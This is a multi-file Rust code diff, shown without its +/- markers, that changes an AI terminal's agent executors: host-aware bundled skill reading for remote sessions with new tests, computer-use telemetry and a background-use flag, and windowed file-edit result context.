use crate::ai::blocklist::SessionContext;
|
||||
use crate::ai::skills::{SkillManager, SkillTelemetryEvent};
|
||||
use crate::send_telemetry_from_ctx;
|
||||
use ai::agent::action_result::AnyFileContent;
|
||||
use galaxyui::{ModelContext, SingletonEntity};
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
|
||||
use crate::ai::agent::AIAgentActionType;
|
||||
use crate::ai::agent::ReadSkillRequest;
|
||||
use crate::ai::agent::ReadSkillResult;
|
||||
use ai::agent::action_result::FileContext;
|
||||
use futures::future::{BoxFuture, FutureExt};
|
||||
use galaxyui::Entity;
|
||||
|
||||
pub struct ReadSkillExecutor;
|
||||
pub struct ReadSkillExecutor {
|
||||
active_session: ModelHandle<ActiveSession>,
|
||||
}
|
||||
|
||||
impl ReadSkillExecutor {
|
||||
pub fn new() -> Self {
|
||||
Self
|
||||
pub fn new(active_session: ModelHandle<ActiveSession>) -> Self {
|
||||
Self { active_session }
|
||||
}
|
||||
|
||||
pub(super) fn should_autoexecute(
|
||||
@@ -38,8 +38,17 @@ impl ReadSkillExecutor {
|
||||
return ActionExecution::<ReadSkillResult>::InvalidAction;
|
||||
};
|
||||
|
||||
match SkillManager::as_ref(ctx).skill_by_reference(skill_ref) {
|
||||
Some(skill) => {
|
||||
// Resolve from the catalog selected by the active session's host, so
|
||||
// remote sessions read the host-rendered bundled skill.
|
||||
let path_origin =
|
||||
SessionContext::from_session(self.active_session.as_ref(ctx), ctx).skill_path_origin();
|
||||
|
||||
match SkillManager::as_ref(ctx).active_skill_by_reference_with_origin(
|
||||
skill_ref,
|
||||
&path_origin,
|
||||
ctx,
|
||||
) {
|
||||
Ok(skill) => {
|
||||
send_telemetry_from_ctx!(
|
||||
SkillTelemetryEvent::Read {
|
||||
reference: skill_ref.clone(),
|
||||
@@ -51,14 +60,14 @@ impl ReadSkillExecutor {
|
||||
ctx
|
||||
);
|
||||
let content = FileContext::new(
|
||||
skill.path.to_string_lossy().into_owned(),
|
||||
skill.path.display_path(),
|
||||
AnyFileContent::StringContent(skill.content.clone()),
|
||||
skill.line_range.clone(),
|
||||
None,
|
||||
);
|
||||
ActionExecution::Sync(ReadSkillResult::Success { content }.into())
|
||||
}
|
||||
None => {
|
||||
Err(error) => {
|
||||
send_telemetry_from_ctx!(
|
||||
SkillTelemetryEvent::Read {
|
||||
reference: skill_ref.clone(),
|
||||
@@ -69,9 +78,7 @@ impl ReadSkillExecutor {
|
||||
},
|
||||
ctx
|
||||
);
|
||||
ActionExecution::Sync(
|
||||
ReadSkillResult::Error(format!("Skill not found: {:?}", skill_ref)).into(),
|
||||
)
|
||||
ActionExecution::Sync(ReadSkillResult::Error(error.to_string()).into())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,30 +1,65 @@
|
||||
use super::*;
|
||||
use crate::ai::agent::task::TaskId;
|
||||
use crate::ai::agent::AIAgentActionResultType;
|
||||
use crate::ai::agent::ReadSkillRequest;
|
||||
use crate::ai::agent::ReadSkillResult;
|
||||
use crate::ai::agent::{AIAgentAction, AIAgentActionId, AIAgentActionType};
|
||||
use crate::ai::blocklist::action_model::AIConversationId;
|
||||
use crate::ai::skills::SkillManager;
|
||||
use crate::galaxy_managed_paths_watcher::GalaxyManagedPathsWatcher;
|
||||
use ai::skills::{parse_skill, SkillReference};
|
||||
use galaxyui::App;
|
||||
use repo_metadata::{
|
||||
repositories::DetectedRepositories, watcher::DirectoryWatcher, RepoMetadataModel,
|
||||
};
|
||||
use std::fs;
|
||||
use std::io::Write;
|
||||
use std::path::PathBuf;
|
||||
|
||||
use ai::skills::{parse_skill, ParsedSkill, SkillProvider, SkillReference, SkillScope};
|
||||
use async_channel::unbounded;
|
||||
use repo_metadata::repositories::DetectedRepositories;
|
||||
use repo_metadata::watcher::DirectoryWatcher;
|
||||
use repo_metadata::RepoMetadataModel;
|
||||
use tempfile::TempDir;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use galaxy_core::HostId;
|
||||
use galaxy_util::local_or_remote_path::LocalOrRemotePath;
|
||||
use galaxy_util::remote_path::RemotePath;
|
||||
use galaxy_util::standardized_path::StandardizedPath;
|
||||
use galaxyui::{App, ModelHandle};
|
||||
use watcher::HomeDirectoryWatcher;
|
||||
|
||||
use super::*;
|
||||
use crate::ai::agent::task::TaskId;
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionId, AIAgentActionResultType, AIAgentActionType, ReadSkillRequest,
|
||||
ReadSkillResult,
|
||||
};
|
||||
use crate::ai::blocklist::action_model::AIConversationId;
|
||||
use crate::ai::skills::{BundledSkillActivation, SkillManager};
|
||||
use crate::settings::AISettings;
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
use crate::terminal::model::session::{BootstrapSessionType, SessionId, SessionInfo, Sessions};
|
||||
use crate::terminal::model_events::ModelEventDispatcher;
|
||||
use crate::warp_managed_paths_watcher::WarpManagedPathsWatcher;
|
||||
|
||||
fn initialize_app(app: &mut App) {
|
||||
app.add_singleton_model(DirectoryWatcher::new);
|
||||
app.add_singleton_model(AISettings::new_with_defaults);
|
||||
app.add_singleton_model(|_| DetectedRepositories::default());
|
||||
app.add_singleton_model(RepoMetadataModel::new);
|
||||
app.add_singleton_model(HomeDirectoryWatcher::new_for_test);
|
||||
app.add_singleton_model(GalaxyManagedPathsWatcher::new_for_testing);
|
||||
app.add_singleton_model(SkillManager::new);
|
||||
}
|
||||
fn add_test_read_skill_executor(app: &mut App) -> ModelHandle<ReadSkillExecutor> {
|
||||
let sessions = app.add_model(|_| Sessions::new_for_test());
|
||||
let (_model_events_tx, model_events_rx) = unbounded();
|
||||
let model_event_dispatcher =
|
||||
app.add_model(|ctx| ModelEventDispatcher::new(model_events_rx, sessions.clone(), ctx));
|
||||
let active_session = app
|
||||
.add_model(|ctx| ActiveSession::new(sessions.clone(), model_event_dispatcher.clone(), ctx));
|
||||
app.add_model(|_| ReadSkillExecutor::new(active_session))
|
||||
}
|
||||
|
||||
fn bundled_skill(name: &str) -> ParsedSkill {
|
||||
ParsedSkill {
|
||||
name: name.to_string(),
|
||||
description: format!("{name} bundled skill"),
|
||||
path: LocalOrRemotePath::Local(PathBuf::from(format!("/bundled/skills/{name}/SKILL.md"))),
|
||||
content: format!("# {name}"),
|
||||
line_range: None,
|
||||
provider: SkillProvider::Warp,
|
||||
scope: SkillScope::Bundled,
|
||||
}
|
||||
}
|
||||
|
||||
fn create_test_skill_file(dir: &TempDir, name: &str, description: &str) -> std::path::PathBuf {
|
||||
let skill_content = format!(
|
||||
@@ -68,12 +103,12 @@ fn test_read_skill_executor_success() {
|
||||
manager.add_skill_for_testing(parsed_skill);
|
||||
});
|
||||
|
||||
let executor_handle = app.add_model(|_| ReadSkillExecutor::new());
|
||||
let executor_handle = add_test_read_skill_executor(&mut app);
|
||||
|
||||
let action = AIAgentAction {
|
||||
id: AIAgentActionId::from("test-action-id".to_string()),
|
||||
action: AIAgentActionType::ReadSkill(ReadSkillRequest {
|
||||
skill: SkillReference::Path(skill_path.clone()),
|
||||
skill: SkillReference::Path(LocalOrRemotePath::Local(skill_path.clone())),
|
||||
}),
|
||||
task_id: TaskId::new("test-task-id".to_string()),
|
||||
requires_result: false,
|
||||
@@ -99,6 +134,241 @@ fn test_read_skill_executor_success() {
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn disconnected_remote_session_does_not_fall_back_to_client_global_bundled_skill() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_app(&mut app);
|
||||
let _bundled_skills = FeatureFlag::BundledSkills.override_enabled(true);
|
||||
SkillManager::handle(&app).update(&mut app, |manager, _ctx| {
|
||||
manager.add_bundled_skill_for_testing(
|
||||
"remote-only",
|
||||
bundled_skill("remote-only"),
|
||||
BundledSkillActivation::Always,
|
||||
);
|
||||
});
|
||||
|
||||
let session_id = SessionId::from(42);
|
||||
let sessions = app.add_model(|_| Sessions::new_for_test());
|
||||
sessions.update(&mut app, |sessions, _ctx| {
|
||||
sessions.register_session_for_test(
|
||||
SessionInfo::new_for_test()
|
||||
.with_id(session_id)
|
||||
.with_session_type(BootstrapSessionType::WarpifiedRemote),
|
||||
);
|
||||
});
|
||||
let (_model_events_tx, model_events_rx) = unbounded();
|
||||
let model_event_dispatcher =
|
||||
app.add_model(|ctx| ModelEventDispatcher::new(model_events_rx, sessions.clone(), ctx));
|
||||
model_event_dispatcher.update(&mut app, |dispatcher, _ctx| {
|
||||
dispatcher.set_active_session_id(session_id);
|
||||
});
|
||||
let active_session = app.add_model(|ctx| {
|
||||
ActiveSession::new(sessions.clone(), model_event_dispatcher.clone(), ctx)
|
||||
});
|
||||
let executor_handle = app.add_model(|_| ReadSkillExecutor::new(active_session));
|
||||
|
||||
let action = AIAgentAction {
|
||||
id: AIAgentActionId::from("test-action-id".to_string()),
|
||||
action: AIAgentActionType::ReadSkill(ReadSkillRequest {
|
||||
skill: SkillReference::BundledSkillId("remote-only".to_string()),
|
||||
}),
|
||||
task_id: TaskId::new("test-task-id".to_string()),
|
||||
requires_result: false,
|
||||
};
|
||||
let input = ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: AIConversationId::new(),
|
||||
};
|
||||
|
||||
executor_handle.update(&mut app, |executor, ctx| {
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
assert!(matches!(
|
||||
result,
|
||||
AnyActionExecution::Sync(AIAgentActionResultType::ReadSkill(
|
||||
ReadSkillResult::Error(error)
|
||||
)) if error == "Bundled skills are not available on this remote session"
|
||||
));
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn remote_session_reads_remote_bundled_skill_catalog() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_app(&mut app);
|
||||
let _bundled_skills = FeatureFlag::BundledSkills.override_enabled(true);
|
||||
let host_id = HostId::new("remote-host".to_string());
|
||||
let remote_skill = ParsedSkill {
|
||||
name: "host-specific".to_string(),
|
||||
description: "remote bundled skill".to_string(),
|
||||
path: LocalOrRemotePath::Remote(RemotePath::new(
|
||||
host_id.clone(),
|
||||
StandardizedPath::try_new(
|
||||
"/opt/warp/resources/bundled/skills/host-specific/SKILL.md",
|
||||
)
|
||||
.unwrap(),
|
||||
)),
|
||||
content: "remote rendered content".to_string(),
|
||||
line_range: None,
|
||||
provider: SkillProvider::Warp,
|
||||
scope: SkillScope::Bundled,
|
||||
};
|
||||
SkillManager::handle(&app).update(&mut app, |manager, _ctx| {
|
||||
manager.add_bundled_skill_for_testing(
|
||||
"host-specific",
|
||||
bundled_skill("host-specific"),
|
||||
BundledSkillActivation::Always,
|
||||
);
|
||||
manager.add_remote_bundled_skill_for_testing(
|
||||
host_id.clone(),
|
||||
"host-specific",
|
||||
remote_skill,
|
||||
BundledSkillActivation::Always,
|
||||
);
|
||||
});
|
||||
|
||||
let session_id = SessionId::from(42);
|
||||
let sessions = app.add_model(|_| Sessions::new_for_test());
|
||||
sessions.update(&mut app, |sessions, _ctx| {
|
||||
sessions.register_session_for_test(
|
||||
SessionInfo::new_for_test()
|
||||
.with_id(session_id)
|
||||
.with_session_type(BootstrapSessionType::WarpifiedRemote),
|
||||
);
|
||||
});
|
||||
let session = sessions
|
||||
.read(&app, |sessions, _ctx| sessions.get(session_id))
|
||||
.unwrap();
|
||||
session.set_remote_host_id(Some(host_id));
|
||||
|
||||
let (_model_events_tx, model_events_rx) = unbounded();
|
||||
let model_event_dispatcher =
|
||||
app.add_model(|ctx| ModelEventDispatcher::new(model_events_rx, sessions.clone(), ctx));
|
||||
model_event_dispatcher.update(&mut app, |dispatcher, _ctx| {
|
||||
dispatcher.set_active_session_id(session_id);
|
||||
});
|
||||
let active_session = app.add_model(|ctx| {
|
||||
ActiveSession::new(sessions.clone(), model_event_dispatcher.clone(), ctx)
|
||||
});
|
||||
let executor_handle = app.add_model(|_| ReadSkillExecutor::new(active_session));
|
||||
|
||||
let action = AIAgentAction {
|
||||
id: AIAgentActionId::from("test-action-id".to_string()),
|
||||
action: AIAgentActionType::ReadSkill(ReadSkillRequest {
|
||||
skill: SkillReference::BundledSkillId("host-specific".to_string()),
|
||||
}),
|
||||
task_id: TaskId::new("test-task-id".to_string()),
|
||||
requires_result: false,
|
||||
};
|
||||
let input = ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: AIConversationId::new(),
|
||||
};
|
||||
|
||||
executor_handle.update(&mut app, |executor, ctx| {
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
match result {
|
||||
AnyActionExecution::Sync(AIAgentActionResultType::ReadSkill(
|
||||
ReadSkillResult::Success { content },
|
||||
)) => {
|
||||
assert_eq!(
|
||||
content.file_name,
|
||||
"/opt/warp/resources/bundled/skills/host-specific/SKILL.md"
|
||||
);
|
||||
assert_eq!(
|
||||
content.content,
|
||||
AnyFileContent::StringContent("remote rendered content".to_string())
|
||||
);
|
||||
}
|
||||
_ => panic!("Remote session should read its host-specific bundled skill"),
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_read_skill_executor_reads_enabled_bundled_skill() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_app(&mut app);
|
||||
let _bundled_skills = FeatureFlag::BundledSkills.override_enabled(true);
|
||||
SkillManager::handle(&app).update(&mut app, |manager, _ctx| {
|
||||
manager.add_bundled_skill_for_testing(
|
||||
"pr-comments",
|
||||
bundled_skill("pr-comments"),
|
||||
BundledSkillActivation::Always,
|
||||
);
|
||||
});
|
||||
let executor_handle = add_test_read_skill_executor(&mut app);
|
||||
|
||||
let action = AIAgentAction {
|
||||
id: AIAgentActionId::from("test-action-id".to_string()),
|
||||
action: AIAgentActionType::ReadSkill(ReadSkillRequest {
|
||||
skill: SkillReference::BundledSkillId("pr-comments".to_string()),
|
||||
}),
|
||||
task_id: TaskId::new("test-task-id".to_string()),
|
||||
requires_result: false,
|
||||
};
|
||||
|
||||
let input = ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: AIConversationId::new(),
|
||||
};
|
||||
|
||||
executor_handle.update(&mut app, |executor, ctx| {
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
|
||||
match result {
|
||||
AnyActionExecution::Sync(AIAgentActionResultType::ReadSkill(
|
||||
ReadSkillResult::Success { content },
|
||||
)) => {
|
||||
assert_eq!(content.file_name, "/bundled/skills/pr-comments/SKILL.md");
|
||||
}
|
||||
_ => panic!("Enabled bundled skill should return ReadSkillResult::Success"),
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_read_skill_executor_rejects_warp_control_bundled_skills_when_disabled() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_app(&mut app);
|
||||
let _bundled_skills = FeatureFlag::BundledSkills.override_enabled(true);
|
||||
let _warp_control_cli = FeatureFlag::WarpControlCli.override_enabled(false);
|
||||
let skill_id = "warpctrl";
|
||||
SkillManager::handle(&app).update(&mut app, |manager, _ctx| {
|
||||
manager.add_bundled_skill_for_testing(
|
||||
skill_id,
|
||||
bundled_skill(skill_id),
|
||||
BundledSkillActivation::RequiresFeature(FeatureFlag::WarpControlCli),
|
||||
);
|
||||
});
|
||||
let executor_handle = add_test_read_skill_executor(&mut app);
|
||||
let action = AIAgentAction {
|
||||
id: AIAgentActionId::from(format!("test-action-id-{skill_id}")),
|
||||
action: AIAgentActionType::ReadSkill(ReadSkillRequest {
|
||||
skill: SkillReference::BundledSkillId(skill_id.to_string()),
|
||||
}),
|
||||
task_id: TaskId::new(format!("test-task-id-{skill_id}")),
|
||||
requires_result: false,
|
||||
};
|
||||
|
||||
let input = ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: AIConversationId::new(),
|
||||
};
|
||||
|
||||
executor_handle.update(&mut app, |executor, ctx| {
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
assert!(matches!(
|
||||
result,
|
||||
AnyActionExecution::Sync(AIAgentActionResultType::ReadSkill(
|
||||
ReadSkillResult::Error(_)
|
||||
))
|
||||
));
|
||||
});
|
||||
});
|
||||
}
|
||||
#[test]
|
||||
fn test_read_skill_executor_file_not_found() {
|
||||
let temp_dir = TempDir::new().unwrap();
|
||||
@@ -107,12 +377,12 @@ fn test_read_skill_executor_file_not_found() {
|
||||
|
||||
App::test((), |mut app| async move {
|
||||
initialize_app(&mut app);
|
||||
let executor_handle = app.add_model(|_| ReadSkillExecutor::new());
|
||||
let executor_handle = add_test_read_skill_executor(&mut app);
|
||||
|
||||
let action = AIAgentAction {
|
||||
id: AIAgentActionId::from("test-action-id".to_string()),
|
||||
action: AIAgentActionType::ReadSkill(ReadSkillRequest {
|
||||
skill: SkillReference::Path(skill_path),
|
||||
skill: SkillReference::Path(LocalOrRemotePath::Local(skill_path)),
|
||||
}),
|
||||
task_id: TaskId::new("test-task-id".to_string()),
|
||||
requires_result: false,
|
||||
|
||||
@@ -1,16 +1,18 @@
|
||||
use std::collections::HashSet;
|
||||
|
||||
use ai::agent::action_result::{AIAgentActionResultType, RequestComputerUseResult};
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use galaxyui::{Entity, EntityId, ModelContext, SingletonEntity};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::{AIAgentActionId, AIAgentActionType};
|
||||
use crate::ai::ambient_agents::AmbientAgentTaskId;
|
||||
use crate::ai::blocklist::BlocklistAIHistoryModel;
|
||||
use crate::features::FeatureFlag;
|
||||
use crate::send_telemetry_from_ctx;
|
||||
use crate::server::telemetry::TelemetryEvent;
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
|
||||
pub struct RequestComputerUseExecutor {
|
||||
terminal_view_id: EntityId,
|
||||
ambient_agent_task_id: Option<AmbientAgentTaskId>,
|
||||
@@ -70,9 +72,14 @@ impl RequestComputerUseExecutor {
|
||||
|
||||
// If we're executing, that implies that computer use has been approved.
|
||||
let is_autoexecuted = self.autoexecuted_actions.remove(&action.id);
|
||||
let server_conversation_id = BlocklistAIHistoryModel::as_ref(ctx)
|
||||
.conversation(&conversation_id)
|
||||
.and_then(|c| c.server_conversation_token())
|
||||
.map(|t| t.as_str().to_string());
|
||||
send_telemetry_from_ctx!(
|
||||
TelemetryEvent::ComputerUseApproved {
|
||||
conversation_id,
|
||||
client_conversation_id: conversation_id,
|
||||
server_conversation_id,
|
||||
is_autoexecuted,
|
||||
ambient_agent_task_id: self.ambient_agent_task_id,
|
||||
},
|
||||
@@ -82,10 +89,20 @@ impl RequestComputerUseExecutor {
|
||||
let screenshot_params = request.screenshot_params;
|
||||
let mut actor = computer_use::create_actor();
|
||||
let platform = actor.platform();
|
||||
// Gate per-window targeting behind the client feature flag. When off, the actor forces the
|
||||
// legacy full-screen path so results are identical to the pre-existing implementation. The
|
||||
// OS-capability check is folded into the request setting rather than reported in the result.
|
||||
let background_enabled = FeatureFlag::BackgroundComputerUse.is_enabled();
|
||||
ActionExecution::Async {
|
||||
execute_future: Box::pin(async move {
|
||||
let result = actor
|
||||
.perform_actions(&[], computer_use::Options { screenshot_params })
|
||||
.perform_actions(
|
||||
&[],
|
||||
computer_use::Options {
|
||||
screenshot_params,
|
||||
background_enabled,
|
||||
},
|
||||
)
|
||||
.await;
|
||||
(result, platform)
|
||||
}),
|
||||
@@ -93,6 +110,7 @@ impl RequestComputerUseExecutor {
|
||||
(
|
||||
Ok(computer_use::ActionResult {
|
||||
screenshot: Some(screenshot),
|
||||
windows,
|
||||
..
|
||||
}),
|
||||
Some(platform),
|
||||
@@ -100,6 +118,7 @@ impl RequestComputerUseExecutor {
|
||||
RequestComputerUseResult::Approved {
|
||||
screenshot,
|
||||
platform,
|
||||
windows,
|
||||
},
|
||||
),
|
||||
(
|
||||
|
||||
@@ -2,22 +2,17 @@ mod apply_diff_model;
|
||||
mod diff_application;
|
||||
mod telemetry;
|
||||
|
||||
use galaxy_util::file::FileSaveError;
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::path::PathBuf;
|
||||
|
||||
use ai::diff_validation::AIRequestedCodeDiff;
|
||||
use futures::{channel::oneshot, future::BoxFuture, FutureExt};
|
||||
use galaxy_core::send_telemetry_from_ctx;
|
||||
use galaxyui::{Entity, EntityId, ModelContext, ModelHandle, SingletonEntity as _, ViewHandle};
|
||||
use itertools::Itertools;
|
||||
use vec1::{vec1, Vec1};
|
||||
|
||||
use apply_diff_model::ApplyDiffModel;
|
||||
pub(crate) use diff_application::apply_edits;
|
||||
use diff_application::DiffApplicationError;
|
||||
pub(crate) use diff_application::FileReadResult;
|
||||
pub(crate) use diff_application::{apply_edits, FileReadResult};
|
||||
use futures::channel::oneshot;
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use itertools::Itertools;
|
||||
pub(crate) use telemetry::MalformedFinalLineProxyEvent;
|
||||
#[allow(unused_imports)]
|
||||
pub use telemetry::{EditAcceptAndContinueClickedEvent, EditAcceptClickedEvent};
|
||||
@@ -25,28 +20,27 @@ pub use telemetry::{
|
||||
EditReceivedEvent, EditResolvedEvent, EditStats, RequestFileEditsFormatKind,
|
||||
RequestFileEditsTelemetryEvent,
|
||||
};
|
||||
|
||||
use crate::{
|
||||
ai::{
|
||||
agent::{
|
||||
conversation::AIConversationId, AIAgentAction, AIAgentActionId,
|
||||
AIAgentActionResultType, AIAgentActionType, AIAgentOutputMessage,
|
||||
AIAgentOutputMessageType, AIIdentifiers, RequestFileEditsResult, UpdatedFileContext,
|
||||
},
|
||||
blocklist::{
|
||||
inline_action::code_diff_view::{
|
||||
CodeDiffView, CodeDiffViewEvent, DiffSessionType, FileDiff,
|
||||
},
|
||||
BlocklistAIPermissions, RequestedEditResolution,
|
||||
},
|
||||
paths::host_native_absolute_path,
|
||||
},
|
||||
safe_warn,
|
||||
terminal::model::session::{active_session::ActiveSession, SessionType},
|
||||
BlocklistAIHistoryModel,
|
||||
};
|
||||
use vec1::{vec1, Vec1};
|
||||
use galaxy_core::send_telemetry_from_ctx;
|
||||
use warp_util::file::FileSaveError;
|
||||
use warpui::{Entity, EntityId, ModelContext, ModelHandle, SingletonEntity as _, ViewHandle};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionId, AIAgentActionResultType, AIAgentActionType,
|
||||
AIAgentOutputMessage, AIAgentOutputMessageType, AIIdentifiers, AnyFileContent, FileContext,
|
||||
FileLocations, RequestFileEditsResult, UpdatedFileContext,
|
||||
};
|
||||
use crate::ai::blocklist::inline_action::code_diff_view::{
|
||||
CodeDiffView, CodeDiffViewEvent, DiffSessionType, FileDiff,
|
||||
};
|
||||
use crate::ai::blocklist::{BlocklistAIPermissions, RequestedEditResolution};
|
||||
use crate::ai::paths::host_native_absolute_path;
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
use crate::terminal::model::session::SessionType;
|
||||
use crate::{safe_warn, BlocklistAIHistoryModel};
|
||||
const APPLY_DIFF_RESULT_CONTEXT_LINES: usize = 10;
|
||||
|
||||
pub struct RequestFileEditsExecutor {
|
||||
active_session: ModelHandle<ActiveSession>,
|
||||
@@ -183,7 +177,7 @@ impl RequestFileEditsExecutor {
|
||||
let (result_tx, result_rx) = oneshot::channel();
|
||||
let mut result_tx = Some(result_tx);
|
||||
|
||||
ctx.subscribe_to_view(diff_view, move |_me, event, ctx| match event {
|
||||
ctx.subscribe_to_view(diff_view, move |_me, _, event, ctx| match event {
|
||||
CodeDiffViewEvent::Rejected => {
|
||||
let Some(result_tx) = result_tx.take() else {
|
||||
return;
|
||||
@@ -238,35 +232,12 @@ impl RequestFileEditsExecutor {
|
||||
// This avoids re-reading files from disk or the remote server.
|
||||
let content_map: HashMap<String, String> = file_contents.iter().cloned().collect();
|
||||
|
||||
let mut file_edited_map = HashMap::new();
|
||||
for (file_location, was_edited) in updated_files.iter() {
|
||||
file_edited_map.insert(file_location.name.clone(), *was_edited);
|
||||
}
|
||||
|
||||
let _ = result_tx.send(RequestFileEditsResult::Success {
|
||||
diff: diff.unified_diff.clone(),
|
||||
updated_files: updated_files
|
||||
.iter()
|
||||
.map(|(file_location, was_edited)| {
|
||||
let content = content_map
|
||||
.get(&file_location.name)
|
||||
.cloned()
|
||||
.unwrap_or_default();
|
||||
let line_count = content.lines().count();
|
||||
UpdatedFileContext {
|
||||
was_edited_by_user: *was_edited,
|
||||
file_context: crate::ai::agent::FileContext {
|
||||
file_name: file_location.name.clone(),
|
||||
content: crate::ai::agent::AnyFileContent::StringContent(
|
||||
content,
|
||||
),
|
||||
line_range: None,
|
||||
last_modified: None,
|
||||
line_count,
|
||||
},
|
||||
}
|
||||
})
|
||||
.collect(),
|
||||
updated_files: updated_file_contexts_from_editor_buffers(
|
||||
updated_files,
|
||||
&content_map,
|
||||
),
|
||||
deleted_files: deleted_files.clone(),
|
||||
lines_added: diff.lines_added,
|
||||
lines_removed: diff.lines_removed,
|
||||
@@ -447,6 +418,76 @@ impl RequestFileEditsExecutor {
|
||||
}
|
||||
}
|
||||
|
||||
fn updated_file_contexts_from_editor_buffers(
|
||||
updated_files: &[(FileLocations, bool)],
|
||||
content_map: &HashMap<String, String>,
|
||||
) -> Vec<UpdatedFileContext> {
|
||||
updated_files
|
||||
.iter()
|
||||
.flat_map(|(file_location, was_edited)| {
|
||||
let content = content_map
|
||||
.get(&file_location.name)
|
||||
.cloned()
|
||||
.unwrap_or_default();
|
||||
let line_count = content.lines().count();
|
||||
|
||||
let mut file_location = file_location.clone();
|
||||
file_location.expand_surrounding_context(APPLY_DIFF_RESULT_CONTEXT_LINES);
|
||||
clamp_to_file_context_range_start(&mut file_location);
|
||||
|
||||
if file_location.lines.is_empty() {
|
||||
return vec![UpdatedFileContext {
|
||||
was_edited_by_user: *was_edited,
|
||||
file_context: FileContext {
|
||||
file_name: file_location.name,
|
||||
content: AnyFileContent::StringContent(content),
|
||||
line_range: None,
|
||||
last_modified: None,
|
||||
line_count,
|
||||
},
|
||||
}];
|
||||
}
|
||||
|
||||
let lines = content.lines().collect_vec();
|
||||
file_location
|
||||
.lines
|
||||
.into_iter()
|
||||
.map(|range| {
|
||||
let start = range.start.saturating_sub(1).min(lines.len());
|
||||
let end = range.end.saturating_sub(1).min(lines.len());
|
||||
let fragment = if start >= end {
|
||||
String::new()
|
||||
} else {
|
||||
lines[start..end].join("\n")
|
||||
};
|
||||
|
||||
UpdatedFileContext {
|
||||
was_edited_by_user: *was_edited,
|
||||
file_context: FileContext {
|
||||
file_name: file_location.name.clone(),
|
||||
content: AnyFileContent::StringContent(fragment),
|
||||
line_range: Some(range),
|
||||
last_modified: None,
|
||||
line_count,
|
||||
},
|
||||
}
|
||||
})
|
||||
.collect_vec()
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn clamp_to_file_context_range_start(file_location: &mut FileLocations) {
|
||||
for range in &mut file_location.lines {
|
||||
range.start = range.start.max(1);
|
||||
range.end = range.end.max(range.start);
|
||||
}
|
||||
}
|
||||
|
||||
impl Entity for RequestFileEditsExecutor {
|
||||
type Event = ();
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[path = "request_file_edits_tests.rs"]
|
||||
mod tests;
|
||||
|
||||
@@ -14,13 +14,12 @@ use galaxyui::r#async::BoxFuture;
|
||||
use galaxyui::{Entity, ModelContext, ModelHandle, SingletonEntity as _};
|
||||
use vec1::Vec1;
|
||||
|
||||
use super::diff_application::{apply_edits, DiffApplicationError, FileReadResult};
|
||||
use crate::ai::agent::{AIIdentifiers, FileEdit};
|
||||
use crate::ai::blocklist::SessionContext;
|
||||
use crate::auth::AuthStateProvider;
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
|
||||
use super::diff_application::{apply_edits, DiffApplicationError, FileReadResult};
|
||||
|
||||
/// Entity submodel that encapsulates filesystem access for diff application.
|
||||
///
|
||||
/// Held as a [`ModelHandle`] by the [`super::RequestFileEditsExecutor`].
|
||||
@@ -51,17 +50,15 @@ impl ApplyDiffModel {
|
||||
let auth_state = AuthStateProvider::as_ref(ctx).get().clone();
|
||||
let ai_identifiers = ai_identifiers.clone();
|
||||
|
||||
let remote_client = session_context.host_id().and_then(|host_id| {
|
||||
remote_server::manager::RemoteServerManager::as_ref(ctx)
|
||||
.client_for_host(host_id)
|
||||
.cloned()
|
||||
let host_request_handle = session_context.host_id().map(|host_id| {
|
||||
remote_server::manager::RemoteServerManager::as_ref(ctx).host_request_handle(host_id)
|
||||
});
|
||||
|
||||
let is_remote = session_context.is_remote();
|
||||
let fut = async move {
|
||||
if is_remote {
|
||||
match remote_client {
|
||||
Some(client) => {
|
||||
match host_request_handle {
|
||||
Some(handle) => {
|
||||
apply_edits(
|
||||
edits,
|
||||
&session_context,
|
||||
@@ -70,8 +67,8 @@ impl ApplyDiffModel {
|
||||
auth_state,
|
||||
passive_diff,
|
||||
|path| {
|
||||
let client = client.clone();
|
||||
async move { read_remote_file(&client, &path).await }
|
||||
let handle = &handle;
|
||||
async move { read_remote_file(handle, &path).await }
|
||||
},
|
||||
)
|
||||
.await
|
||||
@@ -109,7 +106,7 @@ impl ApplyDiffModel {
|
||||
const MAX_DIFF_READ_BYTES: u32 = 10_000_000;
|
||||
|
||||
async fn read_remote_file(
|
||||
client: &remote_server::client::RemoteServerClient,
|
||||
handle: &remote_server::manager::HostRequestHandle,
|
||||
path: &str,
|
||||
